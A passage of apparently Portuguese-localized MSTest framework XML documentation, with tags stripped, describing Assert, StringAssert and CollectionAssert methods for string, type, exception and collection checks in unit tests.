é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se as cadeias de caracteres especificadas são desiguais e gera uma exceção - se elas são iguais. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres que o teste espera que não - corresponda a . - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Um objeto CultureInfo que fornece informações de comparação específicas de cultura. - - - Thrown if is equal to . - - - - - Testa se as cadeias de caracteres especificadas são desiguais e gera uma exceção - se elas são iguais. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres que o teste espera que não - corresponda a . - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Um objeto CultureInfo que fornece informações de comparação específicas de cultura. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is equal to . - - - - - Testa se as cadeias de caracteres especificadas são desiguais e gera uma exceção - se elas são iguais. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres que o teste espera que não - corresponda a . - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Um objeto CultureInfo que fornece informações de comparação específicas de cultura. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se o objeto especificado é uma instância do tipo - esperado e gera uma exceção se o tipo esperado não está na - hierarquia de herança do objeto. - - - O objeto que o teste espera que seja do tipo especificado. - - - O tipo esperado de . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testa se o objeto especificado é uma instância do tipo - esperado e gera uma exceção se o tipo esperado não está na - hierarquia de herança do objeto. - - - O objeto que o teste espera que seja do tipo especificado. - - - O tipo esperado de . - - - A mensagem a ser incluída na exceção quando - não é uma instância de . A mensagem é - mostrada nos resultados de teste. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testa se o objeto especificado é uma instância do tipo - esperado e gera uma exceção se o tipo esperado não está na - hierarquia de herança do objeto. - - - O objeto que o teste espera que seja do tipo especificado. - - - O tipo esperado de . - - - A mensagem a ser incluída na exceção quando - não é uma instância de . A mensagem é - mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testa se o objeto especificado não é uma instância do tipo - incorreto e gera uma exceção se o tipo especificado está na - hierarquia de herança do objeto. - - - O objeto que o teste espera que não seja do tipo especificado. - - - O tipo que não deve ser. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testa se o objeto especificado não é uma instância do tipo - incorreto e gera uma exceção se o tipo especificado está na - hierarquia de herança do objeto. - - - O objeto que o teste espera que não seja do tipo especificado. - - - O tipo que não deve ser. - - - A mensagem a ser incluída na exceção quando - é uma instância de . A mensagem é mostrada - nos resultados de teste. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testa se o objeto especificado não é uma instância do tipo - incorreto e gera uma exceção se o tipo especificado está na - hierarquia de herança do objeto. - - - O objeto que o teste espera que não seja do tipo especificado. - - - O tipo que não deve ser. - - - A mensagem a ser incluída na exceção quando - é uma instância de . A mensagem é mostrada - nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Gera uma AssertFailedException. - - - Always thrown. - - - - - Gera uma AssertFailedException. - - - A mensagem a ser incluída na exceção. A mensagem é mostrada nos - resultados de teste. - - - Always thrown. - - - - - Gera uma AssertFailedException. - - - A mensagem a ser incluída na exceção. A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Always thrown. - - - - - Gera uma AssertInconclusiveException. - - - Always thrown. - - - - - Gera uma AssertInconclusiveException. - - - A mensagem a ser incluída na exceção. A mensagem é mostrada nos - resultados de teste. - - - Always thrown. - - - - - Gera uma AssertInconclusiveException. - - - A mensagem a ser incluída na exceção. A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Always thrown. - - - - - Os métodos estático igual a sobrecargas são usados para comparar instâncias de dois tipos em relação à igualdade de - referência. Esse método não deve ser usado para comparar a igualdade de - duas instâncias. Esse objeto sempre gerará Assert.Fail. Use - Assert.AreEqual e sobrecargas associadas nos testes de unidade. - - Objeto A - Objeto B - Sempre falso. - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - O tipo de exceção que se espera que seja gerada. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - A mensagem a ser incluída na exceção quando - não gera exceção de tipo . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - O tipo de exceção que se espera que seja gerada. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - O tipo de exceção que se espera que seja gerada. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - A mensagem a ser incluída na exceção quando - não gera exceção de tipo . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - O tipo de exceção que se espera que seja gerada. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - A mensagem a ser incluída na exceção quando - não gera exceção de tipo . - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - O tipo de exceção que se espera que seja gerada. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - A mensagem a ser incluída na exceção quando - não gera exceção de tipo . - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - O tipo de exceção que se espera que seja gerada. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - O executando o representante. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera AssertFailedException se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - Delegado ao código a ser testado e que é esperado que gere exceção. - - A mensagem a ser incluída na exceção quando - não gera exceção de tipo . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - O executando o representante. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera AssertFailedException se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - Delegado ao código a ser testado e que é esperado que gere exceção. - - A mensagem a ser incluída na exceção quando - não gera exceção de tipo . - - - Uma matriz de parâmetros a serem usados ao formatar . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - O executando o representante. - - - - - Substitui os caracteres nulos ('\0') por "\\0". - - - A cadeia de caracteres a ser pesquisada. - - - A cadeia de caracteres convertida com os caracteres nulos substituídos por "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Função auxiliar que cria e gera uma AssertionFailedException - - - nome da asserção que gera uma exceção - - - mensagem que descreve as condições da falha de asserção - - - Os parâmetros. - - - - - Verifica o parâmetro das condições válidas - - - O parâmetro. - - - O Nome da asserção. - - - nome do parâmetro - - - mensagem da exceção de parâmetro inválido - - - Os parâmetros. - - - - - Converte com segurança um objeto em uma cadeia de caracteres manipulando valores e caracteres nulos. - Os valores nulos são convertidos em "(null)". Os caracteres nulos são convertidos em "\\0". - - - O objeto a ser convertido em uma cadeia de caracteres. - - - A cadeia de caracteres convertida. - - - - - A asserção da cadeia de caracteres. - - - - - Obtém a instância singleton da funcionalidade CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testa se a cadeia de caracteres especificada contém a subcadeia especificada - e gera uma exceção se a subcadeia não ocorre na - cadeia de teste. - - - A cadeia de caracteres que se espera que contenha . - - - A cadeia de caracteres que se espera que ocorra em . - - - Thrown if is not found in - . - - - - - Testa se a cadeia de caracteres especificada contém a subcadeia especificada - e gera uma exceção se a subcadeia não ocorre na - cadeia de teste. - - - A cadeia de caracteres que se espera que contenha . - - - A cadeia de caracteres que se espera que ocorra em . - - - A mensagem a ser incluída na exceção quando - não está em . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not found in - . - - - - - Testa se a cadeia de caracteres especificada contém a subcadeia especificada - e gera uma exceção se a subcadeia não ocorre na - cadeia de teste. - - - A cadeia de caracteres que se espera que contenha . - - - A cadeia de caracteres que se espera que ocorra em . - - - A mensagem a ser incluída na exceção quando - não está em . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not found in - . - - - - - Testa se a cadeia de caracteres especificada começa com a subcadeia especificada - e gera uma exceção se a cadeia de teste não começa com a - subcadeia. - - - A cadeia de caracteres que se espera que comece com . - - - A cadeia de caracteres que se espera que seja um prefixo de . - - - Thrown if does not begin with - . - - - - - Testa se a cadeia de caracteres especificada começa com a subcadeia especificada - e gera uma exceção se a cadeia de teste não começa com a - subcadeia. - - - A cadeia de caracteres que se espera que comece com . - - - A cadeia de caracteres que se espera que seja um prefixo de . - - - A mensagem a ser incluída na exceção quando - não começa com . A mensagem é - mostrada nos resultados de teste. - - - Thrown if does not begin with - . - - - - - Testa se a cadeia de caracteres especificada começa com a subcadeia especificada - e gera uma exceção se a cadeia de teste não começa com a - subcadeia. - - - A cadeia de caracteres que se espera que comece com . - - - A cadeia de caracteres que se espera que seja um prefixo de . - - - A mensagem a ser incluída na exceção quando - não começa com . A mensagem é - mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if does not begin with - . - - - - - Testa se a cadeia de caracteres especificada termina com a subcadeia especificada - e gera uma exceção se a cadeia de teste não termina com a - subcadeia. - - - A cadeia de caracteres que se espera que termine com . - - - A cadeia de caracteres que se espera que seja um sufixo de . - - - Thrown if does not end with - . - - - - - Testa se a cadeia de caracteres especificada termina com a subcadeia especificada - e gera uma exceção se a cadeia de teste não termina com a - subcadeia. - - - A cadeia de caracteres que se espera que termine com . - - - A cadeia de caracteres que se espera que seja um sufixo de . - - - A mensagem a ser incluída na exceção quando - não termina com . A mensagem é - mostrada nos resultados de teste. - - - Thrown if does not end with - . - - - - - Testa se a cadeia de caracteres especificada termina com a subcadeia especificada - e gera uma exceção se a cadeia de teste não termina com a - subcadeia. - - - A cadeia de caracteres que se espera que termine com . - - - A cadeia de caracteres que se espera que seja um sufixo de . - - - A mensagem a ser incluída na exceção quando - não termina com . A mensagem é - mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if does not end with - . - - - - - Testa se a cadeia de caracteres especificada corresponde a uma expressão regular e - gera uma exceção se a cadeia não corresponde à expressão. - - - A cadeia de caracteres que se espera que corresponda a . - - - A expressão regular com a qual se espera que tenha - correspondência. - - - Thrown if does not match - . - - - - - Testa se a cadeia de caracteres especificada corresponde a uma expressão regular e - gera uma exceção se a cadeia não corresponde à expressão. - - - A cadeia de caracteres que se espera que corresponda a . - - - A expressão regular com a qual se espera que tenha - correspondência. - - - A mensagem a ser incluída na exceção quando - não corresponde a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if does not match - . - - - - - Testa se a cadeia de caracteres especificada corresponde a uma expressão regular e - gera uma exceção se a cadeia não corresponde à expressão. - - - A cadeia de caracteres que se espera que corresponda a . - - - A expressão regular com a qual se espera que tenha - correspondência. - - - A mensagem a ser incluída na exceção quando - não corresponde a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if does not match - . - - - - - Testa se a cadeia de caracteres especificada não corresponde a uma expressão regular - e gera uma exceção se a cadeia corresponde à expressão. - - - A cadeia de caracteres que se espera que não corresponda a . - - - A expressão regular com a qual se espera que é - esperado não corresponder. - - - Thrown if matches . - - - - - Testa se a cadeia de caracteres especificada não corresponde a uma expressão regular - e gera uma exceção se a cadeia corresponde à expressão. - - - A cadeia de caracteres que se espera que não corresponda a . - - - A expressão regular com a qual se espera que é - esperado não corresponder. - - - A mensagem a ser incluída na exceção quando - corresponde a . A mensagem é mostrada nos resultados de - teste. - - - Thrown if matches . - - - - - Testa se a cadeia de caracteres especificada não corresponde a uma expressão regular - e gera uma exceção se a cadeia corresponde à expressão. - - - A cadeia de caracteres que se espera que não corresponda a . - - - A expressão regular com a qual se espera que é - esperado não corresponder. - - - A mensagem a ser incluída na exceção quando - corresponde a . A mensagem é mostrada nos resultados de - teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if matches . - - - - - Uma coleção de classes auxiliares para testar várias condições associadas - às coleções nos testes de unidade. Se a condição testada não é - atendida, uma exceção é gerada. - - - - - Obtém a instância singleton da funcionalidade CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testa se a coleção especificada contém o elemento especificado - e gera uma exceção se o elemento não está na coleção. - - - A coleção na qual pesquisar o elemento. - - - O elemento que se espera que esteja na coleção. - - - Thrown if is not found in - . - - - - - Testa se a coleção especificada contém o elemento especificado - e gera uma exceção se o elemento não está na coleção. - - - A coleção na qual pesquisar o elemento. - - - O elemento que se espera que esteja na coleção. - - - A mensagem a ser incluída na exceção quando - não está em . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not found in - . - - - - - Testa se a coleção especificada contém o elemento especificado - e gera uma exceção se o elemento não está na coleção. - - - A coleção na qual pesquisar o elemento. - - - O elemento que se espera que esteja na coleção. - - - A mensagem a ser incluída na exceção quando - não está em . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not found in - . - - - - - Testa se a coleção especificada não contém o elemento - especificado e gera uma exceção se o elemento está na coleção. - - - A coleção na qual pesquisar o elemento. - - - O elemento que se espera que não esteja na coleção. - - - Thrown if is found in - . - - - - - Testa se a coleção especificada não contém o elemento - especificado e gera uma exceção se o elemento está na coleção. - - - A coleção na qual pesquisar o elemento. - - - O elemento que se espera que não esteja na coleção. - - - A mensagem a ser incluída na exceção quando - está em . A mensagem é mostrada nos resultados de - teste. - - - Thrown if is found in - . - - - - - Testa se a coleção especificada não contém o elemento - especificado e gera uma exceção se o elemento está na coleção. - - - A coleção na qual pesquisar o elemento. - - - O elemento que se espera que não esteja na coleção. - - - A mensagem a ser incluída na exceção quando - está em . A mensagem é mostrada nos resultados de - teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is found in - . - - - - - Testa se todos os itens na coleção especificada são não nulos e gera - uma exceção se algum elemento é nulo. - - - A coleção na qual pesquisar elementos nulos. - - - Thrown if a null element is found in . - - - - - Testa se todos os itens na coleção especificada são não nulos e gera - uma exceção se algum elemento é nulo. - - - A coleção na qual pesquisar elementos nulos. - - - A mensagem a ser incluída na exceção quando - contém um elemento nulo. A mensagem é mostrada nos resultados de teste. - - - Thrown if a null element is found in . - - - - - Testa se todos os itens na coleção especificada são não nulos e gera - uma exceção se algum elemento é nulo. - - - A coleção na qual pesquisar elementos nulos. - - - A mensagem a ser incluída na exceção quando - contém um elemento nulo. A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if a null element is found in . - - - - - Testa se todos os itens na coleção especificada são exclusivos ou não e - gera uma exceção se dois elementos na coleção são iguais. - - - A coleção na qual pesquisar elementos duplicados. - - - Thrown if a two or more equal elements are found in - . - - - - - Testa se todos os itens na coleção especificada são exclusivos ou não e - gera uma exceção se dois elementos na coleção são iguais. - - - A coleção na qual pesquisar elementos duplicados. - - - A mensagem a ser incluída na exceção quando - contém pelo menos um elemento duplicado. A mensagem é mostrada nos - resultados de teste. - - - Thrown if a two or more equal elements are found in - . - - - - - Testa se todos os itens na coleção especificada são exclusivos ou não e - gera uma exceção se dois elementos na coleção são iguais. - - - A coleção na qual pesquisar elementos duplicados. - - - A mensagem a ser incluída na exceção quando - contém pelo menos um elemento duplicado. A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if a two or more equal elements are found in - . - - - - - Testa se uma coleção é um subconjunto de outra coleção e - gera uma exceção se algum elemento no subconjunto não está também no - superconjunto. - - - A coleção que se espera que seja um subconjunto de . - - - A coleção que se espera que seja um superconjunto de - - - Thrown if an element in is not found in - . - - - - - Testa se uma coleção é um subconjunto de outra coleção e - gera uma exceção se algum elemento no subconjunto não está também no - superconjunto. - - - A coleção que se espera que seja um subconjunto de . - - - A coleção que se espera que seja um superconjunto de - - - A mensagem a ser incluída na exceção quando um elemento em - não é encontrado em . - A mensagem é mostrada nos resultados de teste. - - - Thrown if an element in is not found in - . - - - - - Testa se uma coleção é um subconjunto de outra coleção e - gera uma exceção se algum elemento no subconjunto não está também no - superconjunto. - - - A coleção que se espera que seja um subconjunto de . - - - A coleção que se espera que seja um superconjunto de - - - A mensagem a ser incluída na exceção quando um elemento em - não é encontrado em . - A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if an element in is not found in - . - - - - - Testa se uma coleção não é um subconjunto de outra coleção e - gera uma exceção se todos os elementos no subconjunto também estão no - superconjunto. - - - A coleção que se espera que não seja um subconjunto de . - - - A coleção que se espera que não seja um superconjunto de - - - Thrown if every element in is also found in - . - - - - - Testa se uma coleção não é um subconjunto de outra coleção e - gera uma exceção se todos os elementos no subconjunto também estão no - superconjunto. - - - A coleção que se espera que não seja um subconjunto de . - - - A coleção que se espera que não seja um superconjunto de - - - A mensagem a ser incluída na exceção quando todo elemento em - também é encontrado em . - A mensagem é mostrada nos resultados de teste. - - - Thrown if every element in is also found in - . - - - - - Testa se uma coleção não é um subconjunto de outra coleção e - gera uma exceção se todos os elementos no subconjunto também estão no - superconjunto. - - - A coleção que se espera que não seja um subconjunto de . - - - A coleção que se espera que não seja um superconjunto de - - - A mensagem a ser incluída na exceção quando todo elemento em - também é encontrado em . - A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if every element in is also found in - . - - - - - Testa se duas coleções contêm os mesmos elementos e gera uma - exceção se alguma das coleções contém um elemento que não está presente na outra - coleção. - - - A primeira coleção a ser comparada. Ela contém os elementos esperados pelo - teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida - pelo código em teste. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testa se duas coleções contêm os mesmos elementos e gera uma - exceção se alguma das coleções contém um elemento que não está presente na outra - coleção. - - - A primeira coleção a ser comparada. Ela contém os elementos esperados pelo - teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida - pelo código em teste. - - - A mensagem a ser incluída na exceção quando um elemento foi encontrado - em uma das coleções, mas não na outra. A mensagem é mostrada - nos resultados de teste. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testa se duas coleções contêm os mesmos elementos e gera uma - exceção se alguma das coleções contém um elemento que não está presente na outra - coleção. - - - A primeira coleção a ser comparada. Ela contém os elementos esperados pelo - teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida - pelo código em teste. - - - A mensagem a ser incluída na exceção quando um elemento foi encontrado - em uma das coleções, mas não na outra. A mensagem é mostrada - nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testa se duas coleções contêm elementos diferentes e gera uma - exceção se as duas coleções contêm elementos idênticos sem levar em consideração - a ordem. - - - A primeira coleção a ser comparada. Ela contém os elementos que o teste - espera que sejam diferentes em relação à coleção real. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida - pelo código em teste. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testa se duas coleções contêm elementos diferentes e gera uma - exceção se as duas coleções contêm elementos idênticos sem levar em consideração - a ordem. - - - A primeira coleção a ser comparada. Ela contém os elementos que o teste - espera que sejam diferentes em relação à coleção real. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida - pelo código em teste. - - - A mensagem a ser incluída na exceção quando - contém os mesmos elementos que . A mensagem - é mostrada nos resultados de teste. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testa se duas coleções contêm elementos diferentes e gera uma - exceção se as duas coleções contêm elementos idênticos sem levar em consideração - a ordem. - - - A primeira coleção a ser comparada. Ela contém os elementos que o teste - espera que sejam diferentes em relação à coleção real. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida - pelo código em teste. - - - A mensagem a ser incluída na exceção quando - contém os mesmos elementos que . A mensagem - é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testa se todos os elementos na coleção especificada são instâncias - do tipo esperado e gera uma exceção se o tipo esperado não - está na hierarquia de herança de um ou mais dos elementos. - - - A coleção que contém elementos que o teste espera que sejam do - tipo especificado. - - - O tipo esperado de cada elemento de . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testa se todos os elementos na coleção especificada são instâncias - do tipo esperado e gera uma exceção se o tipo esperado não - está na hierarquia de herança de um ou mais dos elementos. - - - A coleção que contém elementos que o teste espera que sejam do - tipo especificado. - - - O tipo esperado de cada elemento de . - - - A mensagem a ser incluída na exceção quando um elemento em - não é uma instância de - . A mensagem é mostrada nos resultados de teste. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testa se todos os elementos na coleção especificada são instâncias - do tipo esperado e gera uma exceção se o tipo esperado não - está na hierarquia de herança de um ou mais dos elementos. - - - A coleção que contém elementos que o teste espera que sejam do - tipo especificado. - - - O tipo esperado de cada elemento de . - - - A mensagem a ser incluída na exceção quando um elemento em - não é uma instância de - . A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testa se as coleções especificadas são iguais e gera uma exceção - se as duas coleções não são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção esperada pelo teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - Thrown if is not equal to - . - - - - - Testa se as coleções especificadas são iguais e gera uma exceção - se as duas coleções não são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção esperada pelo teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not equal to - . - - - - - Testa se as coleções especificadas são iguais e gera uma exceção - se as duas coleções não são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção esperada pelo teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to - . - - - - - Testa se as coleções especificadas são desiguais e gera uma exceção - se as duas coleções são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção que o teste espera - que não corresponda a . - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - Thrown if is equal to . - - - - - Testa se as coleções especificadas são desiguais e gera uma exceção - se as duas coleções são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção que o teste espera - que não corresponda a . - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is equal to . - - - - - Testa se as coleções especificadas são desiguais e gera uma exceção - se as duas coleções são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção que o teste espera - que não corresponda a . - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se as coleções especificadas são iguais e gera uma exceção - se as duas coleções não são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção esperada pelo teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A implementação de comparação a ser usada ao comparar elementos da coleção. - - - Thrown if is not equal to - . - - - - - Testa se as coleções especificadas são iguais e gera uma exceção - se as duas coleções não são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção esperada pelo teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A implementação de comparação a ser usada ao comparar elementos da coleção. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not equal to - . - - - - - Testa se as coleções especificadas são iguais e gera uma exceção - se as duas coleções não são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção esperada pelo teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A implementação de comparação a ser usada ao comparar elementos da coleção. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to - . - - - - - Testa se as coleções especificadas são desiguais e gera uma exceção - se as duas coleções são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção que o teste espera - que não corresponda a . - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A implementação de comparação a ser usada ao comparar elementos da coleção. - - - Thrown if is equal to . - - - - - Testa se as coleções especificadas são desiguais e gera uma exceção - se as duas coleções são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção que o teste espera - que não corresponda a . - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A implementação de comparação a ser usada ao comparar elementos da coleção. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is equal to . - - - - - Testa se as coleções especificadas são desiguais e gera uma exceção - se as duas coleções são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser 